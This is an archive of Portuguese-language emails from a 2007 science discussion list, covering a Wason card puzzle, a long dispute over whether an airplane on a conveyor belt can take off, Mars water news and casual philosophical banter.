repetidos).

*Veja também:*
Todos os vídeos de Bin Laden são falsos <http://100nexos.com/arquivo/72>No
fabuloso filme "O Sobrevivente", o atual govern...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Teste seu ceticismo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/05/2007 09:20

Teste seu ceticismo <http://100nexos.com/arquivo/155>

Voc� � um c�tico, e se orgulha de seu pensamento cr�tico desenvolvido.
Responda ent�o ao seguinte teste:

H� quatro cartas acima, e cada uma delas possui uma letra em um lado e um
n�mero no outro lado. Temos ent�o a alega��o nada extraordin�ria de que *"se
uma carta tem uma vogal de um lado, ent�o tem um n�mero par do outro lado"*.
A quest�o �: *quais cartas voc� precisa virar para descobrir se a alega��o �
verdadeira ou falsa?*
Apenas 5% de 128 estudantes universit�rios deram a resposta correta. E mesmo
em um famoso congresso c�tico, apenas 26 c�ticos entre 156 � pouco mais de
15% � resolveram o problema da forma correta, mostrando que mesmo a
carteirinha c�tica n�o o tornar� imune a falhas muito humanas. E voc�,
superar� as expectativas e far� juz ao legado cr�tico? *A solu��o voc�
confere aqui em tr�s dias.*

*Veja tamb�m:*
CeticismoAberto.com atualizado 03/04/2007
<http://100nexos.com/arquivo/117>UFOLOGIA
Martin Kottmeyer"Gauche Encounters": ...
Gizmo � Imperd�vel <http://100nexos.com/arquivo/139> "Gizmo" � uma
compila��o fa...
Doutor Strangelove: financiado pela
ExxonMobil<http://100nexos.com/arquivo/105>O
blog Rabiscos Econ�micos revela "Como eu p...
A menina pastora - vers�o Hitler <http://100nexos.com/arquivo/102> A imagem
no v�deo voc� j� con...
Comprar �culos on-line: nada ruim, muito
barato<http://100nexos.com/arquivo/145>H� tempos o BoingBoing indicou
o blog Glas...


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SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 09:53

Quando é que o J. Renato vai entender que a reação dos motores do avião está no ar e não na esteira? Quando irá entender que o movimento do avião se dá em relação ao ar (hélices ou jato empurram o ar para trás e o ar empurra o avião para a frente).
Se tirarmos o ar da jogada (sim, imaginem um aeroporto -- referencial -- todo fechado com uma enorme redoma e todo o ar extraído) não haverá a menor possibilidade do avião alçar vôo; não importa se existe ou não a esteira pois, com rodas de atrito praticamente zero, nada poderá fazer o avião sair do lugar (dada a sua inércia) em relação ao aeroporto. A menos que alguma força "externa" o faça!
Coloquei externa entre aspas devido à possibilidade do avião ser, na verdade, um foguete que 'carregando sua própria atmosfera' possibilitará, mesmo na ausência do ar no aeroporto, alçar vôo.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 09:09
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada


Ricardo escreveu: [ A medida da velocidade do avião *não pode ser feita em
relação à esteira*. E ponto. ]
................................................

E por que não, Ricardo? O problema considera que há um dispositivo que
sincroniza a velocidade do avião à da esteira, em sentidos contrários. Isso
faz com que qualquer movimento *infinitesimal* do avião à frente, *em
qualquer velocidade*, provoque um movimento igual na esteira em sentido
contrário(para trás), fazendo com que o avião se mantenha praticamente
parado em relação ao chão e à massa de ar que o rodeia e que poderia lhe
dar sustentação para voar... É isso o que ocorre.
Veja sobre o texto do e-mail abaixo, as diversas interações que consideramos
para obter a solução correta do problema.
............................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 8:19 AM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


Quanta agressividade rapaz :)
JR - Não há agressividade, Ricardo, apenas fiz um posicionamento assertivo
da questão. Por favor, gostaria que relesse o que escrevi e apontasse o que
lhe agrediu...

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: segunda-feira, 21 de maio de 2007 23:21
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada

> Olá, Ricardo!

Olá José!

> Se vc já não agüenta mais não precisa continuar, OK?
> Mas parece que vc está em dúvida se vai, se
> fica ou antes pelo contrário... Se toda vez vc for
> pedir desculpas aos listeiros, o melhor é decidir se fica por aqui
> ou se vai continuar... Se for continuar tire as teias de
> aranha dos neurônios e vamos lá!

O problema é que realmente é difícil me calar quando vejo que vc continua
patinando nos mesmos erros (viu, não precisei nem ser agressivo para falar
isso).
JR - Sou eu quem está *patinando nos mesmos erro* ou vc que não está
conseguindo perceber os fundamentos das minhas explicações?

> 1. Quando a medida da velocidade do avião for feita por GPS, está
> considerando a terra-chão como referencial. Nesse caso o avião acelera e
> levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
> terra-chão...

Ok, concordamos.
JR - "Concordamos", mas o avião está com o *dobro da velocidade* da esteira,
o que não atende o enunciado do problema.

> 2. Se a medida da velocidade do avião for feita pela velocidade do ar
> fluindo contra o avião, ele também alça vôo com uma velocidade
> *em torno de dobro da velocidade da esteira*, a depender das
> correntes de ar... Está considerando como referência a massa de
> ar em movimento.

Não é bem isso, mas o mais importante é o próximo ponto mesmo.
JR - Há aparelhos aeronáuticos que medem a velocidade do avião em relação ao
ar-vento ou vice-versa... Quando não existia GPS e computador à bordo,
os aviões mantinham um tripulante chamado de navegador para fazer esses
cálculos que davam uma localização aproximada do avião, a ser confirmada
visualmente depois...

> 3. Se a medida da velocidade do avião for feita em relação à esteira, se
> deslocará sobre a esteira a mesma distância que a esteira se desloca para
> trás com o avião, infinitesimalmente, quando o avião acelera os
> motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
> velocidade do avião* em sentido contrário. Nesse caso o avião permanece
> praticamente parado em relação à massa de ar, não terá sustentação para
> alçar vôo...

A medida da velocidade do avião *não pode ser feita em relação à esteira*. E
ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
avião e da esteira) se não estiver falando de um único referencial para o
problema, a não ser que, em algum problema específico isto fosse
especificado no enunciado. Por isso não podemos medir a velocidade do avião
em relação à esteira. [ ... ]
JR - Observe que é isso o que ocorre em qualquer decolagem! O avião acelera
sobre a pista-Terra *que também está em movimento*, carregando o avião,
enquanto ele estiver em contato com a pista-Terra... Só que o movimento da
Terra não está *sincronizado* com o do avião, como define o enunciado do
nosso problema.
Veja a realidade... O avião se desloca sobre a esteira e a esteira sob o
avião...
A distância percorrida pelo avião enquanto está em contato com a
esteira-pista
é a mesma percorrida pela esteira, em sentido contrário. Isso significa que
por
mais que o avião acelere rolando sobre a esteira ele praticamente não sai do
lugar em relação à massa de ar que o rodeia... Logo, não há sustentação para
que ele alce vôo... Qualquer que seja sua velocidade, que é "anulada" em
relação ao ar e ao chão, pelo movimento da esteira em sentido contrário.

[ ... ] Porque a esteira não poderá ter velocidade em relação
à esteira, como já discutimos antes (inúmeras vezes). Este aspecto vc nem
questionou. Nem antes, nem agora. [ ... ]
JR - Pareceu-me que isso é óbvio... Entretanto, o avião não está fixo à
esteira, não faz parte da esteira. Há inter-relação de movimentos entre eles
que podem sem medidos. Se o avião estiver parado sobre a esteira em
movimento (velocidade zero em relação à esteira), será carregado na mesma
velocidade dela em relação ao chão. Ao se movimentar na mesma velocidade da
esteira em sentido contrário, sua velocidade passa a ser praticamente zero
em relação ao ar e ao chão.

[ ... ] Então se quiser continuar esta (interminável e cansativa) discussão,
por favor, responda primeiro a este ponto, para não ficar patinando parado
no
mesmo lugar, como o seu avião (só uma piada, mas sem agressividade, ok?).
JR - Reveja meus comentários e diga o que ainda está obscuro no meu
raciocínio. O esquema apresentado pelo problema é concreto e pode ser
testado. É o avião tentando alçar vôo e a esteira não permitindo sustentação
em relação ao ar que o envolve... Se o vento soprasse na mesma direção do
avião e com a mesma velocidade, mesmo com o avião a mil por hora,
ele não alçaria vôo...
Isso é a realidade, o resto é diversionismo, medo, desfaçatez, presunção,
tolice, infantilidade, "esperteza" ou preguiça que impedem de raciocinar
com liberdade e lucidez... E até fugir do problema para não se expor.

> Por favor, não esqueça de raciocinar um pouco antes de qualquer coisa...

Vou tentar lembrar disso...
JR - Não tenha pressa nessa etapa. O entrelaçamento dos movimentos e seus
referencias precisam ser assimilados com tranqüilidade e clareza.


> []s
> José Renato

Abraços,
Ricardo

Abraços
José Renato



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SUBJECT: Re: [ciencialist] Re: Sobre o abismo, para o JC.
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 09:55

João >>> O mundo não são as colinas verdejantes e o
céu azul. Ele é um delírio. Um sonho. O grande sonho
da razão. E como Goya já observou, o sonho da razão
produz monstros.

--- Olha ai moçada! Mais um admitindo!
--- Keep watching and keep seeing!

João >>> Eu não sou mais doido que o Ferrari, sou?

--- Hehehe... cuidado, porq




--- Joao de Carvalho <joaobncarvalho@hotmail.com>
escreveu:

> Olá, JC.
>
> Obrigado pelo elogio à minha mensagem.
>
> > Essa sensação de "contemplar o abismo", que é uma
> bela forma poética
> > de admitir a ignorância como parte do método de
> aprendizagem,
>
> Perceber a ignorância a respeito do mundo também é
> algo abissal. Mas
> quando falei de contemplar o abismo estava pensando
> mais no oposto,
> em ver como o mundo ele de fato é. O mundo não são
> colinas
> verdejantes e um grande céu azul. Esta é uma visão
> muito restrita de
> mundo, de uma criatura que evoluiu na superfície de
> um planeta na
> periferia de uma galáxia. O mundo é um espaço de
> dimensões que
> achatam qualquer impressão intuitiva que tenhamos a
> respeito do
> espaço, onde não existe em cima e embaixo, onde
> estrelas (bolas de
> gás maiores e mais pesadas que qualquer coisa que o
> homem possa
> imaginar), queimam irradiando enormes quantidades de
> energia enquanto
> giram em turbilhões de bilhões de estrelas. Se a
> quantidade de
> estrelas em uma galáxia é absurda, a quantidade de
> galáxias que
> existem é igualmente absurda, assim como as
> distâncias em que elas se
> encontram. As coisas são feitas de átomos,
> estruturas que possuem um
> núcleo absurdamente pequeno e ao redor do qual, a
> uma distância
> enorme se comparada ao seu tamanho, encontra-se uma
> nuvem de
> elétrons, seja lá o que for isto, que apresenta uma
> estrutura
> complexa de camadas e orbitais. As "partículas" que
> compõem essas
> estruturas emitem outras partículas, que são
> absorvidas por outras e
> assim elas interagem. O mundo não são as colinas
> verdejantes e o céu
> azul. Ele é um delírio. Um sonho. O grande sonho da
> razão. E como
> Goya já observou, o sonho da razão produz monstros.
>
> > não é assim tão ruim, depende apenas de como você
> vê esse abismo...
>
> Em geral nós temos uma atitude meio autista em
> relação ao abismo. Por
> mais que nos digam que estamos rodando em um
> turbilhão de estrelas,
> nós não conseguimos sentir isto. É como se fosse um
> sonho.
>
> > Eu não fiz opção por pílulas vermelhas ou azuis.
>
> Eu não sei se você entendeu, estava me referindo ao
> filme Matrix. Se
> você toma a azul, você acorda feliz no dia seguinte
> acreditando que o
> mundo é feito de colinas verdejantes, se você toma a
> vermelha, você
> contempla o abismo. Qual das duas você toma?
>
> > Bom, isso é conversa de Botequim e eu já tenho uma
> lista povoada de
> "doidos" como você onde me divirto bastante.
>
> Eu não sou mais doido que o Ferrari, sou?
>
> Saudações,
> João de Carvalho
>
>
>


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SUBJECT: Re: [ciencialist] Teste seu ceticismo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <UFO_PORTUGAL@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 23/05/2007 10:00

Eu viraria as 4 cartas! Mesmo por curiosidade, gostaria de saber o que contém o verso de cada uma! Vai que alguém errou e colocou a foto daquela mulher pelada!
Pô, afinal virar 4 cartas não é algo tão trabalhoso assim!
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>; <UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 09:20
Assunto: [ciencialist] Teste seu ceticismo


Teste seu ceticismo <http://100nexos.com/arquivo/155>

Você é um cético, e se orgulha de seu pensamento crítico desenvolvido.
Responda então ao seguinte teste:

Há quatro cartas acima, e cada uma delas possui uma letra em um lado e um
número no outro lado. Temos então a alegação nada extraordinária de que *"se
uma carta tem uma vogal de um lado, então tem um número par do outro lado"*.
A questão é: *quais cartas você precisa virar para descobrir se a alegação é
verdadeira ou falsa?*
Apenas 5% de 128 estudantes universitários deram a resposta correta. E mesmo
em um famoso congresso cético, apenas 26 céticos entre 156 - pouco mais de
15% - resolveram o problema da forma correta, mostrando que mesmo a
carteirinha cética não o tornará imune a falhas muito humanas. E você,
superará as expectativas e fará juz ao legado crítico? *A solução você
confere aqui em três dias.*

*Veja também:*
CeticismoAberto.com atualizado 03/04/2007
<http://100nexos.com/arquivo/117>UFOLOGIA
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SUBJECT: Re: [ciencialist] Paradoxo: duas forças irresistíveis
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 10:04

Luiz >>> > essa pérola não é minha, é obra ferrariana!

Luiz, esta frase é sua sim. O que disse não foi isto.
Vc está deturpando o que disse pra fazer chacota.




sinceramente
ferrari






--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> José Renato,
>
> essa pérola não é minha, é obra ferrariana! Não
> tenho inteligência para tanto!
>
> Veja a mensagem original:
>
> >É melhor aceitarmos o conhecimento
> ferrariano:"Brad não existe, Angelina não existe, é
> uma falsa percepção da
> realidade do mundo, o que o Bulcão diz é um
> raciocínio, uma onda se
> propagando na matéria (meio) que atingiu meu monitor
> como um pulso vibrante
> e se converteu em consciência do óbvio. É o óbvio,
> pense cognitivamente
> nisso! Vc vai conseguir enxergar a verdade --- o
> método científico é a
> linguagem do óbvio, aceite isso! Física não é
> Ciência, é a Ciência da
> Física!"<
>
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Renato" <jrma@terra.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 22 de maio de 2007 23:31
> Assunto: Re: [ciencialist] Paradoxo: duas forças
> irresistíveis
>
>
> Luiz: [ Física não é Ciência, é a Ciência da Física!
> ]
> ...........................................
>
> Êita frasezinha mais científica, essa sô!
>
> []s
>
> JR
> ...........................................
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, May 22, 2007 11:20 AM
> Subject: Re: [ciencialist] Paradoxo: duas forças
> irresistíveis
>
>
> Não há choque de forças; há choque entre corpos
> materiais dos quais
> participam forças de interação. Não existe o
> conceito de forças
> irresistíveis!
> A massa do Brad é maior que a massa da Angelina e
> eles podem se chocar de
> frente (um tipo de choque central). Se o coeficiente
> de restituição for
> igual a 1, após o choque eles se afastam, a Angelina
> com maior velocidade
> que aquela de aproximação. Se o coeficiente de
> restituição for nula eles se
> esborracham e ficam grudados. Pouca chance de
> engravidar.
> Putz grila! Quanta bobagem! É melhor aceitarmos o
> conhecimento
> ferrariano:"Brad não existe, Angelina não existe, é
> uma falsa percepção da
> realidade do mundo, o que o Bulcão diz é um
> raciocínio, uma onda se
> propagando na matéria (meio) que atingiu meu monitor
> como um pulso vibrante
> e se converteu em consciência do óbvio. É o óbvio,
> pense cognitivamente
> nisso! Vc vai conseguir enxergar a verdade --- o
> método científico é a
> linguagem do óbvio, aceite isso! Física não é
> Ciência, é a Ciência da
> Física!"
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
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>
>


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SUBJECT: Re: [ciencialist] Teste seu ceticismo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 10:35

huehehehe pô professor, o gasto de calorias pode acabar sendo o dobro
do necessário!

Queria que tivessem apresentado este enigma para mim, eu o descobri já
lendo a resposta... :-/ Tá certo que iria errar, mas enfim.

[]

Mori

On 5/23/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> Eu viraria as 4 cartas! Mesmo por curiosidade, gostaria de saber o que contém o verso de cada uma! Vai que alguém errou e colocou a foto daquela mulher pelada!
> Pô, afinal virar 4 cartas não é algo tão trabalhoso assim!
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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> -----Mensagem Original-----
> De: "Kentaro Mori" <kentaro.mori@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>; <UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
> Enviada em: quarta-feira, 23 de maio de 2007 09:20
> Assunto: [ciencialist] Teste seu ceticismo
>
> Teste seu ceticismo <http://100nexos.com/arquivo/155>
>
> Você é um cético, e se orgulha de seu pensamento crítico desenvolvido.
> Responda então ao seguinte teste:
>
> Há quatro cartas acima, e cada uma delas possui uma letra em um lado e um
> número no outro lado. Temos então a alegação nada extraordinária de que *"se
> uma carta tem uma vogal de um lado, então tem um número par do outro lado"*.
> A questão é: *quais cartas você precisa virar para descobrir se a alegação é
> verdadeira ou falsa?*
> Apenas 5% de 128 estudantes universitários deram a resposta correta. E mesmo
> em um famoso congresso cético, apenas 26 céticos entre 156 - pouco mais de
> 15% - resolveram o problema da forma correta, mostrando que mesmo a
> carteirinha cética não o tornará imune a falhas muito humanas. E você,
> superará as expectativas e fará juz ao legado crítico? *A solução você
> confere aqui em três dias.*


SUBJECT: PROVA DE ÁGUA EM MARTE
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: Inovação Tecnológica <eboletim@inovacaotecnologica.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 23/05/2007 11:05

Grupos.com.br


ESA/DLR/FU Berlin
Resta saber se ainda há restos de gelo escondidos nos poros do relevo marciano Mais


NASA/JPL-Caltech/Cornell
A Nasa também anunciou, nesta segunda-feira, ter encontrado silício em Marte Mais


NASA/JPL-Caltech/Cornell
O elemento encontrado em amostras de solo é outra evidência da presença de água Mais


ESA/DLR/FU Berlin
Imagem registrada pela sonda da ESA mostra uma depressão de 2.000 m de profundidade Mais


ESA/DLR/FU Berlin
O relevo marciano inclui vales de 800 a 1.200 m de profundidade Mais


ESA/DLR/FU Berlin
Os cientistas acreditam que as depressões foram causadas por gelo derretido Mais

21/05/2007
Agência Espacial Européia divulga imagens inéditas de Marte
da Redação

A Agência Espacial Européia divulgou nesta segunda-feira imagens do planeta Marte capturadas pela Câmera Estéreo de Alta Resolução da sonda Mars Express.

Uma das áreas fotografadas apresenta uma depressão de aproximadamente 2.000 m de profundidade e 110 km de diâmetro. As imagens também mostram vales de cerca de 800 a 1.200 m. Os cientistas acreditam que esses relevos tenham surgido em função do fluxo intenso de gelo derretido.

As cenas flagradas pela câmera indicam diferentes estágios de degradação das áreas montanhosas da superfície de Marte. Assim como na Terra, paisagens são sempre indicativos do clima. Resta saber se ainda há restos de gelo escondidos nos poros do relevo marciano.

Silício

A Nasa também anunciou nesta segunda-feira outra forte evidência do passado úmido de Marte. Uma amostra do solo analisada pelo robô Spirit mostrou grandes quantidades de silício. Segundo os cientistas, tamanha concentração do elemento requer a presença de água.

O equipamento finalizou sua missão principal em abril de 2004, mas continua funcionando, assim como sua "gêmea", a Opportunity. Várias amostras foram analisadas anteriormente, mas esta foi a primeira vez que os cientistas encontraram sinais desse elemento químico.

"Meu interesse está no futuro porque é lá que vou passar o resto da minha vida."
"Se você está compromissado com o seu objetivo, é possível!"

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SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 11:32

Olá, Luiz!
Quem é mesmo que não sabe que a *ação* dos motores no ar é que provoca uma
*reação* no avião, a qual o impulsiona e o faz voar?
Não é necessário que o "ar seja tirado da jogada" para que o avião não voe,
basta que a velocidade do ar na fuselagem não seja suficiente para
sustentá-lo em vôo. Que tal ler meus comentários no e-mail abaixo, antes de
inferir sobre os meus desconhecimentos?!
[]s
JR
......................................
From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, May 23, 2007 9:53 AM
Subject: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


Quando é que o J. Renato vai entender que a reação dos motores do avião está
no ar e não na esteira? Quando irá entender que o movimento do avião se dá
em relação ao ar (hélices ou jato empurram o ar para trás e o ar empurra o
avião para a frente).
Se tirarmos o ar da jogada (sim, imaginem um aeroporto -- referencial --
todo fechado com uma enorme redoma e todo o ar extraído) não haverá a menor
possibilidade do avião alçar vôo; não importa se existe ou não a esteira
pois, com rodas de atrito praticamente zero, nada poderá fazer o avião sair
do lugar (dada a sua inércia) em relação ao aeroporto. A menos que alguma
força "externa" o faça!
Coloquei externa entre aspas devido à possibilidade do avião ser, na
verdade, um foguete que 'carregando sua própria atmosfera' possibilitará,
mesmo na ausência do ar no aeroporto, alçar vôo.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 09:09
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


Ricardo escreveu: [ A medida da velocidade do avião *não pode ser feita em
relação à esteira*. E ponto. ]
................................................

E por que não, Ricardo? O problema considera que há um dispositivo que
sincroniza a velocidade do avião à da esteira, em sentidos contrários. Isso
faz com que qualquer movimento *infinitesimal* do avião à frente, *em
qualquer velocidade*, provoque um movimento igual na esteira em sentido
contrário(para trás), fazendo com que o avião se mantenha praticamente
parado em relação ao chão e à massa de ar que o rodeia e que poderia lhe
dar sustentação para voar... É isso o que ocorre.
Veja sobre o texto do e-mail abaixo, as diversas interações que consideramos
para obter a solução correta do problema.
............................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 22, 2007 8:19 AM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


Quanta agressividade rapaz :)
JR - Não há agressividade, Ricardo, apenas fiz um posicionamento assertivo
da questão. Por favor, gostaria que relesse o que escrevi e apontasse o que
lhe agrediu...

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: segunda-feira, 21 de maio de 2007 23:21
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada

> Olá, Ricardo!

Olá José!

> Se vc já não agüenta mais não precisa continuar, OK?
> Mas parece que vc está em dúvida se vai, se
> fica ou antes pelo contrário... Se toda vez vc for
> pedir desculpas aos listeiros, o melhor é decidir se fica por aqui
> ou se vai continuar... Se for continuar tire as teias de
> aranha dos neurônios e vamos lá!

O problema é que realmente é difícil me calar quando vejo que vc continua
patinando nos mesmos erros (viu, não precisei nem ser agressivo para falar
isso).
JR - Sou eu quem está *patinando nos mesmos erro* ou vc que não está
conseguindo perceber os fundamentos das minhas explicações?

> 1. Quando a medida da velocidade do avião for feita por GPS, está
> considerando a terra-chão como referencial. Nesse caso o avião acelera e
> levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
> terra-chão...

Ok, concordamos.
JR - "Concordamos", mas o avião está com o *dobro da velocidade* da esteira,
o que não atende o enunciado do problema.

> 2. Se a medida da velocidade do avião for feita pela velocidade do ar
> fluindo contra o avião, ele também alça vôo com uma velocidade
> *em torno de dobro da velocidade da esteira*, a depender das
> correntes de ar... Está considerando como referência a massa de
> ar em movimento.

Não é bem isso, mas o mais importante é o próximo ponto mesmo.
JR - Há aparelhos aeronáuticos que medem a velocidade do avião em relação ao
ar-vento ou vice-versa... Quando não existia GPS e computador à bordo,
os aviões mantinham um tripulante chamado de navegador para fazer esses
cálculos que davam uma localização aproximada do avião, a ser confirmada
visualmente depois...

> 3. Se a medida da velocidade do avião for feita em relação à esteira, se
> deslocará sobre a esteira a mesma distância que a esteira se desloca para
> trás com o avião, infinitesimalmente, quando o avião acelera os
> motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
> velocidade do avião* em sentido contrário. Nesse caso o avião permanece
> praticamente parado em relação à massa de ar, não terá sustentação para
> alçar vôo...

A medida da velocidade do avião *não pode ser feita em relação à esteira*. E
ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
avião e da esteira) se não estiver falando de um único referencial para o
problema, a não ser que, em algum problema específico isto fosse
especificado no enunciado. Por isso não podemos medir a velocidade do avião
em relação à esteira. [ ... ]
JR - Observe que é isso o que ocorre em qualquer decolagem! O avião acelera
sobre a pista-Terra *que também está em movimento*, carregando o avião,
enquanto ele estiver em contato com a pista-Terra... Só que o movimento da
Terra não está *sincronizado* com o do avião, como define o enunciado do
nosso problema.
Veja a realidade... O avião se desloca sobre a esteira e a esteira sob o
avião...
A distância percorrida pelo avião enquanto está em contato com a
esteira-pista
é a mesma percorrida pela esteira, em sentido contrário. Isso significa que
por
mais que o avião acelere rolando sobre a esteira ele praticamente não sai do
lugar em relação à massa de ar que o rodeia... Logo, não há sustentação para
que ele alce vôo... Qualquer que seja sua velocidade, que é "anulada" em
relação ao ar e ao chão, pelo movimento da esteira em sentido contrário.

[ ... ] Porque a esteira não poderá ter velocidade em relação
à esteira, como já discutimos antes (inúmeras vezes). Este aspecto vc nem
questionou. Nem antes, nem agora. [ ... ]
JR - Pareceu-me que isso é óbvio... Entretanto, o avião não está fixo à
esteira, não faz parte da esteira. Há inter-relação de movimentos entre eles
que podem sem medidos. Se o avião estiver parado sobre a esteira em
movimento (velocidade zero em relação à esteira), será carregado na mesma
velocidade dela em relação ao chão. Ao se movimentar na mesma velocidade da
esteira em sentido contrário, sua velocidade passa a ser praticamente zero
em relação ao ar e ao chão.

[ ... ] Então se quiser continuar esta (interminável e cansativa) discussão,
por favor, responda primeiro a este ponto, para não ficar patinando parado
no
mesmo lugar, como o seu avião (só uma piada, mas sem agressividade, ok?).
JR - Reveja meus comentários e diga o que ainda está obscuro no meu
raciocínio. O esquema apresentado pelo problema é concreto e pode ser
testado. É o avião tentando alçar vôo e a esteira não permitindo sustentação
em relação ao ar que o envolve... Se o vento soprasse na mesma direção do
avião e com a mesma velocidade, mesmo com o avião a mil por hora,
ele não alçaria vôo...
Isso é a realidade, o resto é diversionismo, medo, desfaçatez, presunção,
tolice, infantilidade, "esperteza" ou preguiça que impedem de raciocinar
com liberdade e lucidez... E até fugir do problema para não se expor.

> Por favor, não esqueça de raciocinar um pouco antes de qualquer coisa...

Vou tentar lembrar disso...
JR - Não tenha pressa nessa etapa. O entrelaçamento dos movimentos e seus
referencias precisam ser assimilados com tranqüilidade e clareza.


> []s
> José Renato

Abraços,
Ricardo

Abraços
José Renato



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SUBJECT: Res: [ciencialist] Re: Motor "revolucionário"
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 11:56

[E]> a graça da moto do kaneda é o motor elétrico
no cubo das rodas. tração nas duas e freio motor inteligente.


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SUBJECT: Re: [ciencialist] Re: [RN](Para Manuel) MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 12:47

Não entendi bem o que você disse mas respondo alguma
coisa sobre:
causa e possibilidade são coisas distintas. Se você
observa algo sob as mesmas condições e ela escolhe de
forma uniforme e independente por um dentre todos
os caminhos possíveis ela é possível de acontecer
embora você não consiga designar a causa.
Algo possível mas sem causa eu só vi nos modelos
teóricos não-deterministicos de computação.

È disso que a mecanica quantica trata ??


--- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:

> Oi Chicão,
>
> Manuel escrevera: Não há fenômeno sem causa, no
> entanto...
>
